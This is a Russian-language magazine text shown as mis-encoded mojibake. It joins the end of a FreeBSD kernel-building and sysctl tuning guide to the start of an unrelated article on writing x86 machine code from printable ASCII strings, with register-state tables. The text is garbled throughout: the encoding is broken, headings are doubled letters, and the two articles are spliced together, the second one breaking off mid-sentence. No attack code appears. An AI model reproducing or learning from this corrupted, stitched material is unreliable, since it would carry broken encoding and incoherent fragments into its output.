à òàêæå óâåëè÷èòü swap (ñîçäàåì ôàéë íóæíîãî ðàçìåðà, «ïðåâðà-
ùàåì» åãî â «äèñê» è ïîäêëþ÷àåì êàê swap). Ðàáîòàåò òîëüêî âî
FreeBSD 4.x, òàê êàê â «ïÿòåðêå» äëÿ ïîäîáíûõ öåëåé èñïîëüçóþòñÿ
md-óñòðîéñòâà
pseudo-device vn

// Ïîçâîëÿåò ïîäãëÿäûâàòü çà äðóãèìè þçåðàìè â êîíñîëè (òîëüêî
äëÿ root)
pseudo-device snp

// Ñ ïîìîùüþ ýòîãî ïàðàìåòðà ìîæíî îáúåäèíèòü íåñêîëüêî äèñêîâ
(ðàçäåëîâ) â îäèí ëîãè÷åñêèé, ñîçäàòü çåðêàëüíûå äèñêè
pseudo-device ccd

Òåïåðü ïåðåéäåì ê ñåòåâûì ïñåâäîóñòðîéñòâàì:

pseudo-device loop // èíòåðôåéñ îáðàòíîé ïåòëè
pseudo-device ether // ïîääåðæêà Ethernet
pseudo-device fddi // ïîääåðæêà FDDI
pseudo-device sl // ïîääåðæêà SLIP (â Ðîññèè äàííûé
âèä ñîåäèíåíèÿ ïðàêòè÷åñêè íå èñïîëüçóåòñÿ)
pseudo-device ppp // ïîääåðæêà PPP
pseudo-device disc // òî æå ñàìîå, ÷òî è /dev/null, òîëüêî
äëÿ óñòðîéñòâ. Â îáû÷íîé ðàáîòå íå íóæíî
pseudo-device tun // èñïîëüçóåòñÿ ïðîãðàììîé ppp

Î÷åíü ÷àñòî ìîæíî íàáëþäàòü ïîñëå íàçâàíèÿ óñòðîéñòâà
öèôðó � êîëè÷åñòâî ñîçäàâàåìûõ ñîîòâåòñòâóþùèõ äåâàé-
ñîâ (/dev/foo0 � /dev/fooN). Â ñîâðåìåííûõ âåðñèÿõ ôðÿõè
ïñåâäîóñòðîéñòâà ðàáîòàþò êàê òàê íàçûâàåìûå clonable
devices, òî åñòü î÷åðåäíîå óñòðîéñòâî ñîçäàåòñÿ ïî ìåðå
íåîáõîäèìîñòè, òàê ÷òî êîëè÷åñòâî óêàçûâàòü íå íàäî.
Ïîðà ïðèñòóïàòü ê ñáîðêå ÿäðà:

# cd /usr/src
# make buildkernel KERNCONF=MYKERNEL
# make installkernel KERNCONF=MYKERNEL

Äàííûé ìåõàíèçì äàâíûì-äàâíî çàìåíèë ñòàðûé config
MYKERNEL && cd ../../compile/MYKERNEL && make dep &&
make && make install. Ðåáóòèìñÿ. Íàñëàæäàåìñÿ ñâîåé ðà-
áîòîé. Ê ñîæàëåíèþ, èíîãäà ïðèõîäèòñÿ áîðîòüñÿ ñ kernel
panic. Åñëè ýòî ïðîèçîøëî, ãðóçè ñòàðîå ÿäðî è âîäâîðÿé
åãî íà ìåñòî. Äîïóñòèì, èìÿ òâîåãî ñòàðîãî ÿäðà kernel.null.
Íè â êîåì ñëó÷àå íå íàçûâàé ýòîò ôàéë kernel.old. Íà ïðèã-
ëàøåíèå boot: ââîäè boot: kernel.null. À ïîñëå çàãðóçêè:

# cd /
# chflags noschg kernel
# cp kernel kernel.new
# cp kernel.null kernel
# chflags schg kernel
# reboot

Â ïÿòîé ôðÿõå ìåõàíèçì çàãðóçêè ÿäðà, îòëè÷íîãî îò
/boot/kernel/kernel, íåñêîëüêî èíîé (ok � ýòî ïðèãëàøåíèå
çàãðóç÷èêà):

ok kldunload
ok set module_path=/boot/kernel.old
ok boot /boot/kernel.old/kernel

Â ñèñòåìå äîëæåí ïðèñóòñòâîâàòü ôàéë /boot.config, â îá-
ðàòíîì ñëó÷àå ñîçäàé åãî òàêîé êîìàíäîé:

# echo /boot/loader > /boot.config

Êðîìå òîãî, îáÿçàòåëüíî ïðîâåðü â êàòàëîãå /boot íàëè÷èå ñëåäóþùèõ
ôàéëîâ: boot0, boot1, boot2, loader. Âñå, åäåì äàëüøå.

[òþíèíã FreeBSD ñðåäñòâàìè sysctl] Ìåõàíèçì sysctl ïîçâîëÿåò
âûïîëíÿòü äèíàìè÷åñêîå ïåðåêîíôèãóðèðîâàíèå è íàñòðîéêó íåêîòî-
ðûõ êîìïîíåíòîâ îïåðàöèîííîé ñèñòåìû «íà ëåòó». Ñ ïîìîùüþ sysctl
ìîæíî îïòèìèçèðîâàòü ìíîæåñòâî âåùåé: ñåòåâóþ ïîäñèñòåìó, ðàáîòó
âèðòóàëüíîé ïàìÿòè, æåñòêèõ äèñêîâ è ò.ä. Ïðîãðàììà sysctl, ðàáîòàþ-
ùàÿ â ïðîñòðàíñòâå ïîëüçîâàòåëÿ (userland), óïðàâëÿåò êëþ÷åâûìè ïå-
ðåìåííûìè ÿäðà. Ðàññìîòðèì ñàìûå èíòåðåñíûå èç íèõ, íî ñíà÷àëà
ðàçáåðåì ìåòîäû ðàáîòû ñ sysctl:

Äëÿ âûâîäà âñåõ äîñòóïíûõ äëÿ ÷òåíèÿ ïåðåìåííûõ sysctl íà ýêðàí:

# sysctl -a

Äëÿ ÷òåíèÿ êîíêðåòíîé ïåðåìåííîé:

# sysctl èìÿ_ïåðåìåííîé

Äëÿ ïðèñâàèâàíèÿ çíà÷åíèÿ ïåðåìåííîé:

# sysctl èìÿ_ïåðåìåííîé=ïðèñâàèâàåìîå_çíà÷åíèå

Ïåðåìåííûå sysctl îáû÷íî ïðèíèìàþò ñëåäóþùèå òèïû çíà÷åíèé: ñòðî-
êîâûå, ÷èñëîâûå è áóëåâûå (1 � äà, 0 � íåò). Åñëè òû íå õî÷åøü êàæ-
äûé ðàç ïîñëå çàãðóçêè óñòàíàâëèâàòü íåîáõîäèìûå çíà÷åíèÿ ïåðåìåí-
íûõ, äîáàâü èõ â /etc/sysctl.conf.
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[óïðàâëåíèå ááåçîïàñíîñòüþ]

security.bsd.unprivileged.proc_debug � ïîçâîëÿåò âûïîëíÿòü îòëàäêó
ïîëüçîâàòåëüñêîãî ïðîöåññà (íàïðèìåð, ÷åðåç ptrace).
security.bsd.see_other_uids, security.bsd.see_other_gids � ïîçâîëÿåò
ïîëüçîâàòåëÿì âèäåòü ÷óæèå ïðîöåññû è ñîêåòû, èñïîëüçóÿ ps, net-
stat è procfs.
security.bsd.unprivileged_read_msgbuf � ðàçðåøàåò ïîëüçîâàòåëüñêî-
ìó ïðîöåññó ÷èòàòü èç ñèñòåìíîãî êîíñîëüíîãî áóôåðà ñîîáùåíèé.
security.bsd.hardlink_check_uid,security.bsd.hardlink_check_gid �
ïîëüçîâàòåëè ìîãóò äåëàòü hardlink òîëüêî íà ñîáñòâåííûå ôàéëû.
security.bsd.conservative_signals � çàïðåùàåò ïîñûëàòü íåêîòîðûå
ñèãíàëû setuid/setgid ïðîöåññàì.
security.bsd.unprivileged_get_quota � ðàçðåøàåò ïîëüçîâàòåëÿì
ñìîòðåòü èíôîðìàöèþ ïî óñòàíîâëåííûì äëÿ íèõ êâîòàì.

[îïòèìèçàöèÿ ääèñêîâ]

vfs.vmiodirenable � ýòà îïöèÿ îòâå÷àåò çà ìåòîä êýøèðîâàíèÿ êàòà-
ëîãîâ. Â ïðèíöèïå, íóæíà òîëüêî íà ìàøèíàõ, îïåðèðóþùèõ áîëü-
øèì êîëè÷åñòâîì ôàéëîâ, íàïðèìåð, íà ïî÷òîâûõ ñåðâåðàõ.
vfs.write_behind � ïîçâîëÿåò çàïèñûâàòü ôàéëû íà íîñèòåëü ïî êëàñòåðàì.
vfs.hirunningspace � îïðåäåëÿåò êîëè÷åñòâî çàïðîñîâ çàïèñè íà
äèñê, êîòîðûå ìîãóò ñòîÿòü â î÷åðåäè. Ýòîò ïàðàìåòð ìîæíî óâåëè-
÷èòü (îñîáåííî íà ìàøèíàõ ñ áîëüøèì êîëè÷åñòâîì äèñêîâ), íî íå
ñèëüíî, èíà÷å ìîæíî íàáëþäàòü ïàäåíèå ïðîèçâîäèòåëüíîñòè.
vm.swap_idle_enabled � äàííàÿ ïåðåìåííàÿ (ñîâìåñòíî ñ
vm.swap_idle_threshold1 è vm.swap_idle_threshold2) íóæíà ëèøü íà ìà-
øèíàõ ñ áîëüøèì êîëè÷åñòâîì ïîëüçîâàòåëåé è îæèäàþùèõ ïðîöåññîâ.
hw.ata.wc � âêëþ÷àåò è âûêëþ÷àåò ðåæèì êýøèðîâàíèÿ çàïèñè íà
IDE-äèñê. Îòêëþ÷åíèå ýòîé îïöèè âûçûâàåò îùóòèìîå ñíèæåíèå ïðî-
èçâîäèòåëüíîñòè. Ïðè÷èíîé îòêàçà îò åå èñïîëüçîâàíèÿ ìîæåò ñòàòü
ðàííÿÿ âåðñèÿ ôðÿõè (<= 4.3), ëèáî ïðîáëåìû ñ æåëåçîì.
kern.cam.scsi_delay � óìåíüøåíèå ýòîãî ïàðàìåòðà (çàäàåòñÿ â ìèë-
ëèñåêóíäàõ) îáû÷íî ñîêðàùàåò âðåìÿ çàãðóçêè ñèñòåìû. Â ïðèíöèïå,
íà ñîâðåìåííîé ìàøèíå ìîæíî óìåíüøèòü ýòî çíà÷åíèå äî 5. Ýòà îï-
öèÿ èñïîëüçóåòñÿ â FreeBSD >= 5.0 è íàñòðàèâàåòñÿ âî âðåìÿ çàãðóçêè.

[ðàáîòà ââ ññåòè]

net.inet.ip.forwarding � åñëè óñòàíîâèòü çíà÷åíèå ðàâíûì 1, òî ìàøè-
íà áóäåò ôîðâàðäèòü IPv4-ïàêåòû ìåæäó ñåòåâûìè èíòåðôåéñàìè.
net.inet.tcp.sendspace è net.inet.tcp.recvspace � âõîäÿùèé è èñõîäÿ-
ùèé áóôåðû TCP-ïîäêëþ÷åíèé. Îáû÷íîå çíà÷åíèå äëÿ ìàøèí ñ
áîëüøèì êîëè÷åñòâîì ïàìÿòè � 65535. Ïðåæäå ÷åì óâåëè÷èâàòü ïà-
ðàìåòð, îáðàòèñü ê net.inet.tcp.rfc1323, à òàêæå ê ìàíó tuning(7).
net.inet.tcp.msl=7500 � âðåìÿ îæèäàíèÿ ACK â îòâåò íà SYN-ACK èëè
FIN-ACK (â ìèëëèñåêóíäàõ).
net.inet.icmp.icmplim=50 � çàäàåì ìàê-
ñèìàëüíîå êîëè÷åñòâî ICMP-ïàêåòîâ ñ
òèïîì destination-unreachable è TCP-ïà-
êåòîâ, ñ óñòàíîâëåííûì ôëàãîì RST (â
äàííîì ñëó÷àå 50 ïàêåòîâ â ñåêóíäó).
net.inet.tcp.blackhole=2 � ïðåäïèñû-
âàåì îòáðàñûâàòü áåç îòïðàâêè RST
âñå TCP-ïàêåòû, àäðåñîâàííûå íà
çàêðûòûé ïîðò.
net.inet.udp.blackhole=1 � ïðåäïè-
ñûâàåì îòáðàñûâàòü âñå UDP-ïàêå-
òû, êîòîðûå áûëè àäðåñîâàíû çàê-
ðûòûì ïîðòàì.
kern.ipc.somaxconn=1024 � èçìåíåíèå
÷èñëà îäíîâðåìåííî îòêðûòûõ ñîêåòîâ.

[ïîëåçíûå ìåëî÷è] Íó ÷òî æ, íàø ïóòü îïòèìèçàòîðà FreeBSD ìîæ-
íî ñ÷èòàòü ïî÷òè çàâåðøåííûì. Ìû ñîâåðøèëè äâà ãëîáàëüíûõ ïåðåâî-
ðîòà â æèçíè íàøåé ñèñòåìû: ïåðåêîìïèëèðîâàëè ÿäðî è ïîòâèêàëè
çíà÷åíèÿ ïåðåìåííûõ sysctl. Íî îñòàëèñü íåêîòîðûå ìåëî÷è, î êîòîðûõ
ñòîèò ðàññêàçàòü, ïîïóòíî äàâ íåñêîëüêî ñîâåòîâ.
Ìû óæå ðàññìîòðåëè ñèòóàöèþ, êîãäà ñâåæåñîáðàííîå ÿäðî íå õî÷åò
ãðóçèòüñÿ, íî ñëó÷àåòñÿ, ÷òî ïðîáëåìû âîçíèêàþò åùå ðàíüøå. Âîò èõ
è ðàçáåðåì.

1 Íå óäàåòñÿ âûïîëíèòü êîìàíäó config (ñáîðêà ïðåêðàùàåòñÿ ñ ñîîá-
ùåíèåì unknown option) � î÷åâèäíî, â òâîé êîíôèã ÿäðà çàêðàëàñü ñèí-
òàêñè÷åñêàÿ îøèáêà. Â ýòîì ñëó÷àå êîìàíäà config âûäàñò íîìåð ñòðî-
êè, â êîòîðîé îáíàðóæåíà îøèáêà.

2 Íå óäàåòñÿ âûïîëíèòü êîìàíäó make � ýòî òîæå, âåðîÿòíåå âñåãî, îç-
íà÷àåò îøèáêó â êîíôèãå, íî íå ñòîëü î÷åâèäíóþ, ÷òîáû config åå îáíà-
ðóæèë, ëèáî îøèáêó ïðè êîìïèëÿöèè.

3 Íå óäàåòñÿ óñòàíîâèòü ÿäðî (make install èëè make installkernel) � åñ-
ëè ôðÿõà ÷åòâåðòîé âåòêè è íèæå, òî íåîáõîäèìî ïðîâåðèòü, íå ñòîèò ëè
óðîâåíü áåçîïàñíîñòè 1 èëè âûøå, òàê êàê óñòàíîâêà ÿäðà â ýòèõ âåðñè-
ÿõ ìîæåò âûïîëíÿòüñÿ òîëüêî íà óðîâíå áåçîïàñíîñòè ðàâíûì 0.
Åñëè íîâîå ÿäðî óñïåøíî ñîáðàíî è çàãðóæåíî, íî òàêèå óòèëèòû, êàê
ps, top íå ðàáîòàþò, òî ýòî  îçíà÷àåò, ÷òî ïðîèçîøëà äåñèíõðîíèçàöèÿ
êåðíåëà è óçåðëåíäà, äðóãèìè ñëîâàìè, âåðñèÿ èñõîäíûõ òåêñòîâ ÿäðà
íå ñîâïàäàåò ñ âåðñèÿìè ñèñòåìíûõ óòèëèò. Íåîáõîäèìî ïðèâåñòè âñå
âåðñèè ê åäèíîìó çíàìåíàòåëþ (íåëüçÿ ñîáèðàòü ïÿòîå ÿäðî íà ñèñòåìå
÷åòâåðòîé âåðñèè).
Ó âëàäåëüöåâ ôðÿõè <5.0 ìîãóò âîçíèêíóòü òðóäíîñòè ïðè ñîçäàíèè
ôàéëîâ óñòðîéñòâ. Ïîÿñíþ íà êîíêðåòíîì ïðèìåðå. Áîëüøèíñòâî óñò-
ðîéñòâ èìååò ñâîè ôàéëû â êàòàëîãå /dev. Èõ ïðè ïåðâîé óñòàíîâêå ñîç-
äàåò ñêðèïò /dev/MAKEDEV. Íî ìîæåò ñëó÷èòüñÿ òàê, ÷òî ïðèäåòñÿ ñàìî-
ìó äîáàâèòü óñòðîéñòâî â ñèñòåìó. Äîïóñòèì, íàì íóæíî óñòàíîâèòü àé-
äèøíûé CDROM. Ñíà÷àëà ñëåäóåò âêëþ÷èòü ñòðî÷êó device acd0 â êîí-
ôèã ÿäðà. Òåïåðü íåîáõîäèìî ïðîâåðèòü íàëè÷èå â êàòàëîãå /dev ôàé-
ëîâ, èìåíà êîòîðûõ íà÷èíàþòñÿ ñ acd0. Åñëè òàêèå åñòü, ìîæíî óñïîêî-
èòüñÿ, à åñëè íåò � íóæíî ââåñòè ñëåäóþùóþ êîìàíäó sh MAKEDEV
acd0. Ïðèìå÷àíèå: äëÿ ñåòåâûõ óñòðîéñòâ íå ñóùåñòâóåò ôàéëîâ â /dev,
à SCSI-êîíòðîëëåðû èñïîëüçóþò îäèíàêîâûé íàáîð ôàéëîâ â /dev, è
ñîçäàâàòü èõ (ôàéëû) íå òðåáóåòñÿ.
Ñ ïîìîùüþ ïåðåìåííûõ sysctl ìîæíî ñíÿòü íåêîòîðûå îãðàíè÷åíèÿ,
íàêëàäûâàåìûå ÿäðîì:
kkeerrnn..mmaaxxffiilleess � óêàçûâàåò ìàêñèìàëüíîå êîëè÷åñòâî ôàéëîâûõ äåñê-
ðèïòîðîâ. Ñòàíäàðòíîå çíà÷åíèå îïðåäåëÿåòñÿ ïàðàìåòðîì maxusers.
kkeerrnn..iippcc..ssoommaaxxccoonnnn � êàê ïîìíèì, ñ ïîìîùüþ ýòîãî ïàðàìåòðà ìîæíî
èçìåíÿòü êîëè÷åñòâî îäíîâðåìåííî îòêðûòûõ ñîêåòîâ.
nneett..iinneett..iipp..ppoorrttrraannggee..** � ýòè ïàðàìåòðû îòâåòñòâåííû çà îãðàíè÷åíèå êî-
ëè÷åñòâà ïîðòîâ. Â íåêîòîðûõ ñèòóàöèÿõ âûäåëåííîãî ïî äåôîëòó êîëè-
÷åñòâà ìîæåò íå õâàòèòü. Äèàïàçîí ïîðòîâ êîíòðîëèðóåòñÿ ïàðàìåòðà-
ìè net.inet.ip.portrange.first è net.inet.ip.portrange.last, êîòîðûå è íàäî ðå-
äàêòèðîâàòü.
nneett..iinneett..ttccpp..iinnfflliigghhtt__eennaabbllee � ïðè óñòàíîâêå â 1 äàííàÿ îïöèÿ çàäåðæè-
âàåò ïàêåòû äëÿ êàæäîãî ñîåäèíåíèÿ, òåì ñàìûì îãðàíè÷èâàÿ îáúåì
ïåðåäàâàåìûõ äàííûõ è îáåñïå÷èâàÿ îïòèìàëüíóþ ïðîïóñêíóþ ñïî-
ñîáíîñòü êàíàëà. Ïðè èñïîëüçîâàíèè ýòîé ïåðåìåííîé íóæíî óñòàíî-
âèòü ïàðàìåòð net.inet.tcp.inflight_debug â 0, à òàêæå ïðèâåñòè
net.inet.tcp.inflight_min ê çíà÷åíèþ, áëèçêîìó ê ìèíèìàëüíîìó � 6144.
Ïðè ýòîì net.inet.tcp.inflight_stab æåëàòåëüíî íå èçìåíÿòü, èëè æå èç-
ìåíÿòü ñèíõðîííî (íî â ëþáîì ñëó÷àå � ýòî êðàéíÿÿ ìåðà).
Åùå ïàðó ñëîâ î ñåòåâûõ îãðàíè÷åíèÿõ. Îïöèÿ ÿäðà NMBCLUSTERS
îáóñëàâëèâàåò êîëè÷åñòâî mbuf (ñòðóêòóðû è ôóíêöèè mbuf îáåñïå-
÷èâàþò óïðàâëåíèå áóôåðàìè ïàìÿòè, èñïîëüçóåìûìè ñåòåâîé ïîä-
ñèñòåìîé ÿäðà), äîñòóïíûõ ìàøèíå. Íà ñåðâåðå ñ áîëüøèì êîëè÷å-

ñòâîì òðàôèêà ìàëåíüêèé mbuf
áóäåò ñíèæàòü ïðîèçâîäèòåëü-
íîñòü, ïîýòîìó ýòîò ïàðàìåòð íå-
îáõîäèìî ãðàìîòíî ñêîððåêòèðî-
âàòü. Äëÿ ìàøèí ñ ñîëèäíûì îáú-
åìîì ïàìÿòè îïòèìàëüíû çíà÷å-
íèÿ ìåæäó 4096 è 32768. Ñëèøêîì
áîëüøîå çíà÷åíèå óêàçûâàòü
íåëüçÿ � ñèñòåìà ìîæåò óïàñòü
ïðè çàãðóçêå. Êîëè÷åñòâî èñïîëü-
çóåìûõ â äàííûé ìîìåíò ñåòåâûõ
êëàñòåðîâ ìîæíî óçíàòü ñ ïî-
ìîùüþ êîìàíäû netstat -m. Äëÿ
íàñòðîéêè â ïðîöåññå çàãðóçêè èñ-
ïîëüçóé ïåðåìåííóþ kern.ipc.nmb-
clusters.
Íåêîòîðûå ïðèâåäåííûå âûøå ïå-

ðåìåííûå sysctl ïðåäíàçíà÷åíû òîëüêî äëÿ ÷òåíèÿ. Äëÿ ðàçðåøåíèÿ
ýòîé ñèòóàöèè íàäî ïîìåñòèòü íóæíóþ ïåðåìåííóþ â ôàéë
/boot/loader.conf. Óìîë÷àëüíûå çíà÷åíèÿ õðàíÿòñÿ â /boot/defaults/
loader.conf.
È íàïîñëåäîê: íàñòðàèâàÿ ñèñòåìó, íå çàáûâàé ïðî /etc/rc.conf. Â ýòîì
ôàéëå õðàíèòñÿ êîíôèãóðàöèîííàÿ èíôîðìàöèÿ, èñïîëüçóåìàÿ ïðè çàã-
ðóçêå ñèñòåìû. Âñå èçìåíåíèÿ íóæíî âíîñèòü èìåííî â /etc/rc.conf, ÷òî-
áû ïåðåîïðåäåëèòü äåôîëòíûå çíà÷åíèÿ èç /etc/defaults/rc.conf.
Âîò è âñå. Òû ïîëó÷èë äåìîíà ñâîåé ìå÷òû. Êàê âèäèøü, âñå îêàçà-
ëîñü íå òàê óæ è ñëîæíî. Çà äîïîëíèòåëüíîé èíôîðìàöèåé îáðà-
ùàéñÿ ê ñòðàíèöàì ñïðàâî÷íûõ ðóêîâîäñòâ è íå ñòåñíÿéñÿ ñïðàøè-
âàòü ó äÿäþøêè ãóãëà ;) [X
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ðàáîòà ñ ïåðåìåííîé sysctl 
(÷òåíèå è ïðèñâàèâàíèå çíà÷åíèÿ)
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ÌÀØÈÍÍÛÅ ÊÎÄÛ ÄËß ÍÅÏÎÑÂßÙÅÍÍÛÕ
ÂÛÃËßÄßÒ ÁÅÑÑÌÛÑËÅÍÍÎÉ ÀÁÐÀÊÀÄÀÁÐÎÉ
� ÝÒÎ ÇÍÀÞÒ ÂÑÅ. ÍÎ ÂÎÒ Î ÒÎÌ, ×ÒÎ ÌÎÆ-
ÍÎ ÏÎÄÎÁÐÀÒÜ ÒÀÊÓÞ ÒÅÊÑÒÎÂÓÞ ÑÒÐÎÊÓ,
ÂÎÑÏÐÈÍÈÌÀÅÌÓÞ ÏÐÎÖÅÑÑÎÐÎÌ ÊÀÊ ÏÎÑ-
ËÅÄÎÂÀÒÅËÜÍÎÑÒÜ ÊÎÌÀÍÄ, ÄÅËÀÞÙÈÕ ×ÒÎ-
ÒÎ ÏÎËÅÇÍÎÅ, � ÄÎÃÀÄÛÂÀÞÒÑß ÍÅÌÍÎÃÈÅ.
ÏÐÀÊÒÈ×ÅÑÊÎÉ ÏÎËÜÇÛ ÎÒ ÝÒÎÃÎ, ÊÎÍÅ×ÍÎ,
ÍÅÌÍÎÃÎ, ÇÀÒÎ ÊÀÊÀß ÃÈÌÍÀÑÒÈÊÀ ÄËß
ÌÎÇÃÎÂ! Êðèñ Êàñïåðñêè àêà ìûùúõ
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Ìîæåò ëè 
ìàøèíà ïîíèìàòü 
åñòåñòâåííûé ÿçûê?

ñïîñîáîâ àäðåñàöèè ïîêðûâàþò
ïðàêòè÷åñêè âñþ òàáëèöó ASCII,
îäíàêî íà ïîèñê íóæíîé êîìáèíà-
öèè ìîãóò óéòè ãîäû. Íèêàêèõ
îôèöèàëüíûõ ïðàâèë â ýòîé èãðå íåò. Êàæäûé âîëåí íàçíà÷àòü èõ ñàì.
Êîä ìîæåò áûòü êàê 16-, òàê è 32-ðàçðÿäíûì. Ãëàâíîå, ÷òîáû îí íå âå-
øàë ñèñòåìó è íå âîçáóæäàë íèêàêèõ èñêëþ÷åíèé. Òåïåðü ïîãîâîðèì î
ïðî÷èõ ñîãëàøåíèÿõ. Â 16-ðàçðÿäíîì ðåæèìå îáû÷íî èñïîëüçóåòñÿ
com-îáðàìëåíèå. Ïðè ýòîì ASCII-ñòðîêà ïîìåøàåòñÿ â òåêñòîâîé ôàéë,
êîòîðûé çàòåì ïåðåèìåíîâûâàåòñÿ â com è ïåðåäàåòñÿ íà âûïîëíåíèå
MS-DOS. Çàäà÷à: âûâåñòè ÷òî-òî íà ýêðàí, ïðè÷åì, èñïîëüçîâàòü ïðÿ-

Ïîèñê òåêñòîâûõ ñòðîê, ôóíêöèîíèðóþùèõ êàê
íîðìàëüíûé îñìûñëåííûé êîä � î÷åíü äðåâíåå
óâëå÷åíèå, êîòîðûì áîëåëè åùå âî âðåìåíà äè-
íîçàâðîâ. Â çàâèñèìîñòè îò ñòðóêòóðû ìàøèííîé
êîìàíäû, ñëîæíîñòü ðåøåíèÿ çàäà÷è âàðüèðóþò-
ñÿ â î÷åíü øèðîêèõ ïðåäåëàõ. Íåêîòîðûå ïëàò-
ôîðìû âîîáùå íå ïîçâîëÿþò íàïèñàòü íè÷åãî îñ-
ìûñëåííîãî, íåêîòîðûå äåëàþò ýòî íàñòîëüêî
òðèâèàëüíûì, ÷òî ïðîïàäàåò âåñü èíòåðåñ.
x86-ïðîöåññîðû çàíèìàþò ïðîìåæóòî÷íîå ïî-
ëîæåíèå. Ãèáêàÿ ñèñòåìà êîìàíä è ìíîæåñòâî

AX == 00FFh, åñëè 1-é àðãóìåíò êîìàíäíîé ñòðîêè íà÷èíàåòñÿ ñèìâîëà-
ìè X:, ãäå X ñîîòâåòñòâóåò áóêâå íåñóùåñòâóþùåãî äèñêîâîäà;

== FF00h, åñëè 2-é àðãóìåíò êîìàíäíîé ñòðîêè íà÷èíàåòñÿ
ñèìâîëàìè X:, ãäå X ñîîòâåòñòâóåò áóêâå íåñóùåñòâóþùåãî
äèñêîâîäà;

== FFFFh, åñëè 1-é è 2-é àðãóìåíòû êîìàíäíîé ñòðîêè ññûëàþòñÿ 
íà íåñóùåñòâóþùèå äèñêîâîäû;

== 0000h, åñëè 1-é è 2-é àðãóìåíòû êîìàíäíîé ñòðîêè íå
ññûëàþòñÿ íà íåñóùåñòâóþùèå äèñêîâîäû.

BX 0

DX ==DS

CX 00FF

SI 100

IP 100

BP 0

DI FFFE

SP FFFE

CS òåêóùèé ñåãìåíò

DS òåêóùèé ñåãìåíò

SS òåêóùèé ñåãìåíò

ÔËÀÃÈ ODITSZAPC

01000000 == 7202
íà÷àëüíîå ñîñòîÿíèå ðåãèñòðîâ íà ìîìåíò çàãðóçêè com-ôàéëà

Íà äèñêå êàê îáû÷íî òû
ñìîæåøü îòêîïàòü âñå
ñîðöû ê ñòàòüå.
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/pub/zq-disass.pdf. Äîáðîäóøíî íàñòðîåííûé The Svin
ïðîäåëàë áîëüøóþ ðàáîòó ïî ïîèñêó îøèáîê, êîòîðûå
âîäèëèñü òàì â áîëüøîì ÷èñëå è õîäèëè êîñÿêàìè, çà
÷òî åìó áîëüøîå ñïàñèáî. Ñïèñîê èñïðàâëåíèé îôîðì-
ëåí â âèäå íåçàâèñèìîãî ôàéëà, êîòîðûé íàõîäèòñÿ
íà òîì æå ôàéëå /pub/phck1.buglist.chm.
Ïîäàâëÿþùàÿ ÷àñòü r/m è r8/16 ñîñðåäîòî÷åíà â íå÷è-
òàáåëüíûõ îáëàñòÿõ òàáëèöû ASCII (òî åñòü èìååò êîä
ëèáî ìåíüøå 20h, ëèáî áîëüøå 7Fh), ïîýòîìó ïîëüçî-
âàòüñÿ èìè íàì ïðàêòè÷åñêè íå ïðèäåòñÿ. Ïðèÿòíîå
èñêëþ÷åíèå ñîñòàâëÿþò êîìàíäû, òèïà: XXX
[reg16],reg8/16 è XXX [BP+im8],reg8/16, äà è òî äàëåêî
íå ñî âñåì íàáîðîì ðåãèñòðîâ. Íî îá ýòîì ìû åùå ïî-
ãîâîðèì ïîçæå, à ïîêà, óïîäîáèâøèñü Êèðèëëó è Ìå-
ôîäèþ, áóäåò ñîñòàâëÿòü Àçáóêó.
Âñå ìàøèííûå êîìàíäû ìîæíî ðàçáèòü íà òðè áîëü-
øèå ãðóïïû. Ê ïåðâîé îòíîñÿòñÿ îäíîáàéòîâûå êîìàí-
äû, íå èìåþùèå íèêàêèõ èëè ïðàêòè÷åñêè íèêàêèõ ïî-
áî÷íûõ ýôôåêòîâ. Îíè ìîãóò èçìåíÿòü çíà÷åíèå ðåãè-
ñòðîâ îáùåãî íàçíà÷åíèÿ èëè íàñèëîâàòü ñòåê, íî íå
äîëæíû ëåçòü â ïîðòû, îáðàùàòüñÿ ê ïàìÿòè è ò.ä.
Âòîðóþ ãðóïïó âîçãëàâëÿþò äâóõ èëè òðåõ áàéòîâûå
êîìàíäû, îäèí èç îïåðàíäîâ êîòîðûõ ïðåäñòàâëÿåò
ñîáîé íåïîñðåäñòâåííîå çíà÷åíèå. Ýòî î÷åíü âàæíûå
êîìàíäû, ïîñêîëüêó íåïîñðåäñòâåííîå çíà÷åíèå ïîç-
âîëÿåò êîäèðîâàòü òå ñèìâîëû, êîòîðûå íå ìîãóò áûòü
ïðåäñòàâëåíû êîìàíäàìè ïåðâîé ãðóïïû. Â ÷àñòíîñòè,
ñèìâîë ïðîáåëà, áåç êîòîðîãî íå îáõîäèòñÿ íè îäíà
òåêñòîâàÿ ñòðîêà.
Â òðåòüþ ãðóïïó ïîïàäàþò âñå îñòàëüíûå êîìàíäû. Èñ-
ïîëüçîâàòü èõ ìîæíî, íî òîëüêî ñ îñòîðîæíîñòüþ. Êî-
ðî÷å ãîâîðÿ, ïåðâûå äâå ãðóïïû � ýòî íàø àêòèâíûé
ëåêñèêîí, à òðåòüÿ � ïðî çàïàñ. Ïîëó÷èâøóþñÿ àçáóêó
òû ìîæåøü âèäåòü â òàáëèöàõ.
Ñìîòðè! Â ïåðâóþ ãðóïïó ïîïàëè âñå çàãëàâíûå àíã-
ëèéñêèå áóêâû, íåìíîãî ñòðî÷íûõ è çíà÷èòåëüíàÿ
÷àñòü çíàêîâ ïðåïèíàíèÿ. Òî åñòü çàêîäèðîâàòü ìîæ-
íî ïðàêòè÷åñêè âñå, ÷òî óãîäíî, òîëüêî áåðè è ïèøè!
Êîìïüþòåð íå âûáðîñèò èñêëþ÷åíèÿ, è íàø êîä áóäåò
âïîëíå óñïåøíî âûïîëíåí. Ïðàâäà, âîñêëèöàòåëüíîãî
çíàêà çäåñü íåò. À êàê æå HELLO,WORLD!? Âåäü áåç
âîñêëèöàòåëüíîãî çíàêà îíî áóäåò óùåðáíûì, åñëè íå
ñêàçàòü íåïîëíîöåííûì. Âî âòîðîé ãðóïïå êîìàíä íè-
÷åãî ïîäîáíîãî òîæå íå íàáëþäàåòñÿ. Âñå îíè íà÷èíà-
þòñÿ ñ «ïîñòîðîííèõ» çíàêîâ, è äàæå åñëè ïåðåäàòü
âîñêëèöàòåëüíûé çíàê êàê íåïîñðåäñòâåííîå çíà÷å-
íèå, ïîëó÷èòñÿ ïîëíàÿ àõèíåÿ. Íàïðèìåð, AND AL,21h
("$!") èëè CMP AL,21h ("<!"). Âûãëÿäèò îòâðàòíî. Íà ñà-
ìîì äåëå, êîìàíäà ñ îïêîäîì 21h âñå-òàêè åñòü. Ýòî,
êàê ïîäñêàçûâàåò Ìàòðèöà, AND r/m,r16. Ïðàâäà,
çäåñü âîçíèêàåò ïîáî÷íûé ýôôåêò � îáðàùåíèå ê ïà-
